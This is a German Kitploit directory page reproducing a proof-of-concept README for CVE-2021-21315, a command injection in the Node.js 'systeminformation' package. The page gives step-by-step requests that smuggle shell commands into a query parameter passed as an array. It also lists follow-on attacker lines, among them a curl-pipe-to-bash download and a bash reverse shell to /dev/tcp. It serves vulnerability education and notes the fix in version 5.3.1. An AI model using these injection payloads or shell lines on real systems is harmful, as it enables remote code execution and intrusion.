Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/forbiddenprogrammer/cve-2021-21315-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & Bildung
GitHubforbiddenprogrammer/cve-2021-21315-poc

CVE-2021-21315-PoC

CVE 2021-21315 PoC

Repository anzeigen
160252vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-21315-systeminformation

Dies ist ein Proof of Concept für CVE-2021-21315, das die Systeminformation-Bibliothek für Node.JS (npm-Paket "systeminformation") betrifft. npmjs.com/systeminformation

"Stellen Sie sicher, dass Sie Dienstparameter, die an si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() übergeben werden, überprüfen oder bereinigen ... erlauben Sie nur Zeichenfolgen, lehnen Sie Arrays ab. Die Zeichenfolgenbereinigung funktioniert wie erwartet."

Da es sich meiner Meinung nach um eine nicht gut erklärte Sicherheitslücke handelt, habe ich beschlossen, eine kleine App zu programmieren, die auf einer anfälligen Version von systeminformation basiert. Das PoC enthält:

  1. Eine Test-App, erstellt in Node.js, unter Verwendung von Express und anfälligem systeminformation
  2. Einfache Test-Payload zum Erstellen einer .txt-Datei auf dem betroffenen Rechner

Schritte zur Reproduktion:

  1. Führen Sie die Anwendung in einer Linux-Server-Umgebung aus
  2. Senden Sie eine GET-Anfrage an site.com/api/getServices?name=nginx (nginx ist nur ein Beispiel) obraz
  3. Versuchen Sie nun, eine Anfrage wie diese zu senden: yoursite.com/api/getServices?name=$(echo -e 'Sekurak' > pwn.txt) obraz

Dies wird fehlschlagen, wegen der Zeichenfolgenbereinigung: obraz

Wie in den CVE-Details angegeben, funktioniert die Bereinigung wie erwartet, lehne Arrays ab [...]

  1. Versuchen Sie nun, eine Anfrage zu senden: yoursite.com/api/getServices?name[]=$(echo -e 'Sekurak' > pwn.txt) obraz Diesmal, wenn Sie sich den Wert von "name" ansehen, wurde er nicht bereinigt - Erfolg! Mal sehen, ob der Befehl ausgeführt wurde
Tool herunterladen

obraz

Erfolg! Unser Befehl wurde ausgeführt. Natürlich kümmert sich niemand um "pwn.txt", aber ein potenzieller Angreifer kann:

  1. Interne Dateien hochladen, wie index.js (Kern unserer Anwendung, mit potenziellen API-Schlüsseln, Datenbankverbindungszeichenfolgen und anderen) oder andere
  2. Skripte herunterladen und ausführen - curl -s http://server/path/script.sh | bash /dev/stdin arg1 arg2
  3. Reverse Shell - bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
  4. Prozesse beenden (Sie können auch unsere Test-Node-Anwendung beenden)
  5. Noch bösartigere Dinge....

"Befehlseinschleusung" klingt harmlos, kann aber enorme Auswirkungen haben, wenn bestimmte Bedingungen erfüllt sind

Das Problem wurde in Version 5.3.1 von "systeminformation" behoben. Dank an https://www.huntr.dev/users/EffectRenan (Er hat die Sicherheitslücke gefunden, jedoch zeigte sein "PoC" meiner Meinung nach keine realen Auswirkungen)

Zögern Sie auch nicht, dieses PoC in einigen CTFs zu verwenden, aber es wäre cool, wenn Sie den Autor der Entdeckung - EffectRean und den PoC-Ersteller - mich, würdigen würden, Prost!

Haftungsausschluss

Dieses Projekt darf nur für Bildungszwecke verwendet werden. Die Verwendung dieser Software gegen Zielsysteme ohne vorherige Genehmigung ist illegal, und für Schäden, die durch Missbrauch dieser Software entstehen, übernimmt der Autor keine Haftung.